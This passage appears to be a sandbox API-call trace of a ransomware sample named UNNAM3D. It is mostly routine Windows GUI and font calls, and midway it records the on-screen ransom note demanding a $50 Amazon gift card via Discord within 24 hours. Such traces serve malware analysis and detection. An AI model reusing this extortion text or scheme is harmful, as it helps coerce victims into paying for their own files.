dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.684] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e31c, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.685] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.685] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2aa6f18) returned 0x0 [0130.685] GdipGetFontSize (font=0x59bf030, size=0x2aa6f1c) returned 0x0 [0130.685] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.685] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.685] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.685] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.685] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.685] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2aa7710) returned 0x0 [0130.685] GdipGetFontSize (font=0x597e7c8, size=0x2aa7714) returned 0x0 [0130.686] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.686] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.686] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.686] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.688] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e3ac, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.690] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE.config", nBufferLength=0x105, lpBuffer=0xb6e618, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE.config", lpFilePart=0x0) returned 0x37 [0130.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0xb6eaac) returned 1 [0130.690] GetFileAttributesExW (in: lpFileName="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\UNNAM3D.EXE.config" (normalized: "c:\\users\\whuoxysd\\appdata\\local\\temp\\unnam3d.exe.config"), fInfoLevelId=0x0, lpFileInformation=0xb6eb28 | out: lpFileInformation=0xb6eb28*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0130.690] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0xb6eaa8) returned 1 [0130.864] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.864] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41640000, style=1, unit=0x3, font=0x2aaa9f8) returned 0x0 [0130.864] GdipGetFontSize (font=0x597e7f0, size=0x2aaa9fc) returned 0x0 [0130.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.864] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.864] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.864] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.864] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.864] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41640000, style=1, unit=0x3, font=0x2aaacf0) returned 0x0 [0130.864] GdipGetFontSize (font=0x597e818, size=0x2aaacf4) returned 0x0 [0130.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.865] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.865] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.865] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.865] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2aaafe8) returned 0x0 [0130.865] GdipGetFontSize (font=0x597e840, size=0x2aaafec) returned 0x0 [0130.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.865] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.865] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.865] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.867] GetStockObject (i=5) returned 0x1900015 [0130.867] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0130.867] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0130.867] RegisterClassW (lpWndClass=0xb6ebd8) returned 0xc126 [0130.867] CoTaskMemFree (pv=0xe08f18) [0130.867] GetModuleHandleW (lpModuleName=0x0) returned 0x290000 [0130.867] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.0.app.0.141b42a_r14_ad1", lpWindowName="TimerNativeWindow", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x290000, lpParam=0x0) returned 0x1015c [0130.867] SetWindowLongW (hWnd=0x1015c, nIndex=-4, dwNewLong=1996432861) returned 85789054 [0130.868] GetWindowLongW (hWnd=0x1015c, nIndex=-4) returned 1996432861 [0130.868] SetWindowLongW (hWnd=0x1015c, nIndex=-4, dwNewLong=85789094) returned 1996432861 [0130.868] GetWindowLongW (hWnd=0x1015c, nIndex=-4) returned 85789094 [0130.868] GetWindowLongW (hWnd=0x1015c, nIndex=-16) returned 79691776 [0130.868] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015c, Msg=0x24, wParam=0x0, lParam=0xb6e7c0) returned 0x0 [0130.868] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015c, Msg=0x81, wParam=0x0, lParam=0xb6e7b4) returned 0x1 [0130.868] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015c, Msg=0x83, wParam=0x0, lParam=0xb6e7a0) returned 0x0 [0130.869] CallWindowProcW (lpPrevWndFunc=0x76ff25dd, hWnd=0x1015c, Msg=0x1, wParam=0x0, lParam=0xb6e7b4) returned 0x0 [0130.869] SetTimer (hWnd=0x1015c, nIDEvent=0x1, uElapse=0x64, lpTimerFunc=0x0) returned 0x1 [0130.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.870] AdjustWindowRectEx (in: lpRect=0xb6ecec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecec) returned 1 [0130.870] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.870] AdjustWindowRectEx (in: lpRect=0xb6ecec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecec) returned 1 [0130.875] GetProcessHeap () returned 0xd90000 [0130.875] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe18d40 | out: hHeap=0xd90000) returned 1 [0130.875] GetProcessHeap () returned 0xd90000 [0130.875] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe1b658 | out: hHeap=0xd90000) returned 1 [0130.880] GetProcessHeap () returned 0xd90000 [0130.880] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xdf6078 | out: hHeap=0xd90000) returned 1 [0130.880] GetProcessHeap () returned 0xd90000 [0130.880] HeapFree (in: hHeap=0xd90000, dwFlags=0x0, lpMem=0xe1b658 | out: hHeap=0xd90000) returned 1 [0130.881] GetEnvironmentVariableW (in: lpName="UKKED", lpBuffer=0xb6e324, nSize=0x64 | out: lpBuffer="") returned 0x0 [0130.929] GdipLoadImageFromStream (stream=0xc30030, image=0xb6e780) returned 0x0 [0130.972] GdipImageForceValidation (image=0x59bfcf0) returned 0x0 [0130.984] GdipGetImageType (image=0x59bfcf0, type=0xb6e77c) returned 0x0 [0130.984] GdipGetImageRawFormat (image=0x59bfcf0, format=0xb6e700*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0130.985] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.985] AdjustWindowRectEx (in: lpRect=0xb6ecec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecec) returned 1 [0130.985] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.985] AdjustWindowRectEx (in: lpRect=0xb6ecec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecec) returned 1 [0130.985] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.985] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41040000, style=1, unit=0x3, font=0x2ac97cc) returned 0x0 [0130.985] GdipGetFontSize (font=0x59c0058, size=0x2ac97d0) returned 0x0 [0130.985] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.985] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.985] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.985] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.989] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.989] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x56210044, bMenu=0, dwExStyle=0x200 | out: lpRect=0xb6ecc0) returned 1 [0130.990] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.990] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0xb6ecc0) returned 1 [0130.991] GdipCreateFontFamilyFromName (name="Microsoft Sans Serif", fontCollection=0x0, fontFamily=0xb6ed3c) returned 0x0 [0130.991] GdipCreateFont (fontFamily=0xeff6b8, emSize=0x41100000, style=1, unit=0x3, font=0x2ac9ce8) returned 0x0 [0130.991] GdipGetFontSize (font=0x5c59b90, size=0x2ac9cec) returned 0x0 [0130.991] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.991] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.991] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.991] AdjustWindowRectEx (in: lpRect=0xb6ecc0, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ecc0) returned 1 [0130.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.994] AdjustWindowRectEx (in: lpRect=0xb6ed20, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0xb6ed20) returned 1 [0130.994] GetSystemMetrics (nIndex=59) returned 1460 [0130.994] GetSystemMetrics (nIndex=60) returned 920 [0130.994] GetSystemMetrics (nIndex=34) returned 132 [0130.994] GetSystemMetrics (nIndex=35) returned 38 [0130.994] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.994] AdjustWindowRectEx (in: lpRect=0xb6ec20, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0xb6ec20) returned 1 [0130.995] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0130.995] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0130.996] GdipGetFamilyName (in: family=0xeff6b8, name=0xb6ea0c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0130.997] CreateCompatibleDC (hdc=0x0) returned 0xd01022e [0130.997] GetCurrentObject (hdc=0xd01022e, type=0x1) returned 0x1b00017 [0130.997] GetCurrentObject (hdc=0xd01022e, type=0x2) returned 0x1900010 [0130.997] GetCurrentObject (hdc=0xd01022e, type=0x7) returned 0x185000f [0130.997] GetCurrentObject (hdc=0xd01022e, type=0x6) returned 0x18a002e [0130.999] SaveDC (hdc=0xd01022e) returned 1 [0130.999] GetDeviceCaps (hdc=0xd01022e, index=90) returned 96 [0130.999] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0130.999] CreateFontIndirectW (lplf=0xe08f18) returned 0x80a022c [0131.000] CoTaskMemFree (pv=0xe08f18) [0131.000] GetObjectW (in: h=0x80a022c, c=92, pv=0xb6e9e4 | out: pv=0xb6e9e4) returned 92 [0131.000] GetCurrentObject (hdc=0xd01022e, type=0x6) returned 0x18a002e [0131.000] GetObjectW (in: h=0x18a002e, c=92, pv=0xb6e93c | out: pv=0xb6e93c) returned 92 [0131.000] SelectObject (hdc=0xd01022e, h=0x80a022c) returned 0x18a002e [0131.000] GetMapMode (hdc=0xd01022e) returned 1 [0131.000] GetTextMetricsW (in: hdc=0xd01022e, lptm=0xb6e9f0 | out: lptm=0xb6e9f0) returned 1 [0131.001] DrawTextExW (in: hdc=0xd01022e, lpchText="Locked Files", cchText=12, lprc=0xb6eb04, format=0x2400, lpdtp=0x2aca69c | out: lpchText="Locked Files", lprc=0xb6eb04) returned 13 [0131.023] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.023] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.023] GdipGetFamilyName (in: family=0xeff6b8, name=0xb6ea0c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0131.023] GetDeviceCaps (hdc=0xd01022e, index=90) returned 96 [0131.023] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.023] CreateFontIndirectW (lplf=0xe08f18) returned 0x2f0a022a [0131.023] CoTaskMemFree (pv=0xe08f18) [0131.023] GetObjectW (in: h=0x2f0a022a, c=92, pv=0xb6e9e4 | out: pv=0xb6e9e4) returned 92 [0131.024] SelectObject (hdc=0xd01022e, h=0x2f0a022a) returned 0x80a022c [0131.024] GetMapMode (hdc=0xd01022e) returned 1 [0131.024] GetTextMetricsW (in: hdc=0xd01022e, lptm=0xb6e9f0 | out: lptm=0xb6e9f0) returned 1 [0131.024] DrawTextExW (in: hdc=0xd01022e, lpchText="CREATER: UNNAM3D", cchText=16, lprc=0xb6eb04, format=0x2400, lpdtp=0x2aca998 | out: lpchText="CREATER: UNNAM3D", lprc=0xb6eb04) returned 15 [0131.028] GetCurrentThreadId () returned 0x734 [0131.028] GetCurrentThreadId () returned 0x734 [0131.028] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.028] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.028] DrawTextExW (in: hdc=0xd01022e, lpchText="Discord: UNNAM3D#6666", cchText=21, lprc=0xb6eb04, format=0x2400, lpdtp=0x2acaaa0 | out: lpchText="Discord: UNNAM3D#6666", lprc=0xb6eb04) returned 15 [0131.030] GetCurrentThreadId () returned 0x734 [0131.030] GetCurrentThreadId () returned 0x734 [0131.030] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.030] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.030] DrawTextExW (in: hdc=0xd01022e, lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", cchText=172, lprc=0xb6eb04, format=0x2400, lpdtp=0x2acab7c | out: lpchText="You will need to send an message to the below discord\r\n with a $50 amazon giftcard code. Then you will shortley\r\nget an message back with a password to unlock your files.", lprc=0xb6eb04) returned 45 [0131.031] GetCurrentThreadId () returned 0x734 [0131.031] GetCurrentThreadId () returned 0x734 [0131.031] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.031] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.031] DrawTextExW (in: hdc=0xd01022e, lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", cchText=214, lprc=0xb6eb04, format=0x2400, lpdtp=0x2acac58 | out: lpchText="All your personal files have been locked and you need to pay\r\na ransom to get them back. You will have 24 hours to pay\r\nor the password will be deleted of our servers making it impossible\r\nto get your files back.\r\n", lprc=0xb6eb04) returned 60 [0131.031] GetCurrentThreadId () returned 0x734 [0131.031] GetCurrentThreadId () returned 0x734 [0131.031] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.031] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.031] GdipGetFamilyName (in: family=0xeff6b8, name=0xb6ea0c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0131.031] GetDeviceCaps (hdc=0xd01022e, index=90) returned 96 [0131.031] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.031] CreateFontIndirectW (lplf=0xe08f18) returned 0x50a0227 [0131.031] CoTaskMemFree (pv=0xe08f18) [0131.031] GetObjectW (in: h=0x50a0227, c=92, pv=0xb6e9e4 | out: pv=0xb6e9e4) returned 92 [0131.031] SelectObject (hdc=0xd01022e, h=0x50a0227) returned 0x2f0a022a [0131.031] GetMapMode (hdc=0xd01022e) returned 1 [0131.031] GetTextMetricsW (in: hdc=0xd01022e, lptm=0xb6e9f0 | out: lptm=0xb6e9f0) returned 1 [0131.032] DrawTextExW (in: hdc=0xd01022e, lpchText="How do i pay?", cchText=13, lprc=0xb6eb04, format=0x2400, lpdtp=0x2acaef8 | out: lpchText="How do i pay?", lprc=0xb6eb04) returned 24 [0131.037] GetCurrentThreadId () returned 0x734 [0131.037] GetCurrentThreadId () returned 0x734 [0131.037] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.037] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.037] DrawTextExW (in: hdc=0xd01022e, lpchText="What Happend?", cchText=13, lprc=0xb6eb04, format=0x2400, lpdtp=0x2acb020 | out: lpchText="What Happend?", lprc=0xb6eb04) returned 24 [0131.037] GetCurrentThreadId () returned 0x734 [0131.038] GetCurrentThreadId () returned 0x734 [0131.038] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.038] AdjustWindowRectEx (in: lpRect=0xb6eb1c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6eb1c) returned 1 [0131.038] GdipGetFamilyName (in: family=0xeff6b8, name=0xb6ea0c, language=0x409 | out: name="Microsoft Sans Serif") returned 0x0 [0131.038] GetDeviceCaps (hdc=0xd01022e, index=90) returned 96 [0131.038] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.038] CreateFontIndirectW (lplf=0xe08f18) returned 0x30a0228 [0131.038] CoTaskMemFree (pv=0xe08f18) [0131.038] GetObjectW (in: h=0x30a0228, c=92, pv=0xb6e9e4 | out: pv=0xb6e9e4) returned 92 [0131.038] SelectObject (hdc=0xd01022e, h=0x30a0228) returned 0x50a0227 [0131.038] GetMapMode (hdc=0xd01022e) returned 1 [0131.038] GetTextMetricsW (in: hdc=0xd01022e, lptm=0xb6e9f0 | out: lptm=0xb6e9f0) returned 1 [0131.038] DrawTextExW (in: hdc=0xd01022e, lpchText="-YOUR FILES HAVE BEEN LOCKED-", cchText=29, lprc=0xb6eb04, format=0x2400, lpdtp=0x2acb2c0 | out: lpchText="-YOUR FILES HAVE BEEN LOCKED-", lprc=0xb6eb04) returned 25 [0131.042] GetCurrentThreadId () returned 0x734 [0131.042] GetCurrentThreadId () returned 0x734 [0131.042] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.042] AdjustWindowRectEx (in: lpRect=0xb6ec38, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0xb6ec38) returned 1 [0131.042] AdjustWindowRectEx (in: lpRect=0xb6ed00, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0xb6ed00) returned 1 [0131.042] GetSystemMetrics (nIndex=59) returned 1460 [0131.042] GetSystemMetrics (nIndex=60) returned 920 [0131.042] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.042] AdjustWindowRectEx (in: lpRect=0xb6eb3c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0xb6eb3c) returned 1 [0131.042] AdjustWindowRectEx (in: lpRect=0xb6ec00, dwStyle=0x2010000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0xb6ec00) returned 1 [0131.043] CreateCompatibleDC (hdc=0x0) returned 0x5010225 [0131.043] GetDC (hWnd=0x0) returned 0x100101b7 [0131.043] GdipCreateFromHDC (hdc=0x100101b7, graphics=0xb6eb5c) returned 0x0 [0131.043] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.043] GdipGetLogFontW (font=0x5a12940, graphics=0x5c59bb8, logfontW=0xe08f18) returned 0x0 [0131.043] CoTaskMemFree (pv=0xe08f18) [0131.043] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.043] CoTaskMemFree (pv=0xe08f18) [0131.044] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.044] CoTaskMemFree (pv=0xe08f18) [0131.044] GdipDeleteGraphics (graphics=0x5c59bb8) returned 0x0 [0131.044] ReleaseDC (hWnd=0x0, hDC=0x100101b7) returned 1 [0131.044] CoTaskMemAlloc (cb=0x5c) returned 0xe08f18 [0131.044] CreateFontIndirectW (lplf=0xe08f18) returned 0x30a0226 [0131.044] CoTaskMemFree (pv=0xe08f18) [0131.044] SelectObject (hdc=0x5010225, h=0x30a0226) returned 0x18a002e [0131.044] GetTextMetricsW (in: hdc=0x5010225, lptm=0xb6ec68 | out: lptm=0xb6ec68) returned 1 [0131.044] GetTextExtentPoint32W (in: hdc=0x5010225, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2acbb44 | out: psizl=0x2acbb44) returned 1 [0131.044] SelectObject (hdc=0x5010225, h=0x18a002e) returned 0x30a0226 [0131.045] DeleteDC (hdc=0x5010225) returned 1 [0131.045] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.045] AdjustWindowRectEx (in: lpRect=0xb6e9d4, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0xb6e9d4) returned 1 [0131.046] GetCursorPos (in: lpPoint=0x2acbb64 | out: lpPoint=0x2acbb64*(x=1232, y=631)) returned 1 [0131.046] GetSystemMetrics (nIndex=80) returned 1 [0131.048] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6e8b0 | out: lpmi=0xb6e8b0) returned 1 [0131.048] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x7010225 [0131.048] GetDeviceCaps (hdc=0x7010225, index=12) returned 32 [0131.048] GetDeviceCaps (hdc=0x7010225, index=14) returned 1 [0131.049] DeleteDC (hdc=0x7010225) returned 1 [0131.049] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6e904 | out: lpmi=0xb6e904) returned 1 [0131.049] AdjustWindowRectEx (in: lpRect=0xb6ebf4, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0xb6ebf4) returned 1 [0131.049] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.049] AdjustWindowRectEx (in: lpRect=0xb6e94c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0xb6e94c) returned 1 [0131.049] GetCursorPos (in: lpPoint=0x2acbe98 | out: lpPoint=0x2acbe98*(x=1232, y=631)) returned 1 [0131.049] MonitorFromPoint (pt=0x4cd, dwFlags=0x27a) returned 0x10001 [0131.049] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6e828 | out: lpmi=0xb6e828) returned 1 [0131.049] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x8010225 [0131.049] GetDeviceCaps (hdc=0x8010225, index=12) returned 32 [0131.049] GetDeviceCaps (hdc=0x8010225, index=14) returned 1 [0131.049] DeleteDC (hdc=0x8010225) returned 1 [0131.049] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xb6e87c | out: lpmi=0xb6e87c) returned 1 [0131.049] AdjustWindowRectEx (in: lpRect=0xb6ea2c, dwStyle=0x2010000, bMenu=0, dwExStyle=0x10000 | out: lpRect=0xb6ea2c) returned 1 [0131.049] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.049] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0xb6ebec) returned 1 [0131.050] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.050] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x56210844, bMenu=0, dwExStyle=0x200 | out: lpRect=0xb6ea50) returned 1 [0131.050] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.050] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.050] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.050] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.050] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.050] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.050] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.050] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.050] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x56000000, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.051] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ebec) returned 1 [0131.051] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6ea50, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6ea50) returned 1 [0131.051] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6e8ac, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0xb6e8ac) returned 1 [0131.051] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x737b0000 [0131.051] AdjustWindowRectEx (in: lpRect=0xb6ebec, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: 